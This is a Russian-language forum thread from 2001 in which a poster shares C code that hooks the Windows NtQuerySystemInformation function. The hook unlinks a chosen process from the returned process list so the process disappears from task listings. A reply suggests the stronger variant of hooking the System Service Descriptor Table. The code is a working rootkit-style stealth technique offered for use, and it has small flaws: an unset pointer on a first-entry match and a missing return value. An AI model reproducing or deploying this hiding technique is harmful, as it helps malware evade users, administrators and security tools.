Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
обман функции NtQuerySystemInformation 24.11.01 14:07
Автор: researcher Статус: Незарегистрированный пользователь
|
Довольно странно, что везде пишут про невозможность обмана функции NtQuerySystemInformation. Я с этим делом мучился довольно долго, а все оказалось очень просто. Думаю, многие из вас читали книгу Рихтера или что-то подобное. Главное знать как перехватываются вызовы функций и этого вполне достаточно.
Далее следует сама перехваченная функция:
NTAPI Hook_NtQuerySystemInformation(
LONG type,
PVOID SystemInformation,
LONG SystemInformationLength,
PLONG ReturnLength
)
{
SYSTEM_PROCESS_INFORMATION *pinfo, *pinfo_last;
// вызываем оригинальную функцию
((PFNNtQuerySystemInformation)(PROC) g_NtQuerySystemInformation)
(type, SystemInformation, SystemInformationLength, ReturnLength);
// если получается информация о процессах
if(type == 5)
{
if(SystemInformationLength > 20000)
{
pinfo = (SYSTEM_PROCESS_INFORMATION*)SystemInformation;
for(;;)
{
// если идентификатор процесса равен идентификатору нашего процесса
if(pinfo->ProcessID == progProcessId)
{
if(pinfo->NextOffest == 0)
{
pinfo_last->NextOffest = 0;
}
else
{
pinfo_last->NextOffest += pinfo->NextOffest;
}
}
if(pinfo->NextOffest == 0) break;
pinfo_last = pinfo;
pinfo = (SYSTEM_PROCESS_INFORMATION*)((char *)pinfo + pinfo->NextOffest);
}
}
}
}
Думаю, объяснять больше нечего, но все же интересно, почему эта информация не была доступна в интернете.
|
|
обман функции NtQuerySystemInformation 24.11.01 14:41
Автор: SerpentFly <Vadim Smirnov> Статус: Member
|
А где это везде? Что-то я не встречал такого... Можно даже посильнее извратиться и перехватить соответсвующий сервис в System Service Descriptor Table, так даже пожалуй лучше....
|
|
|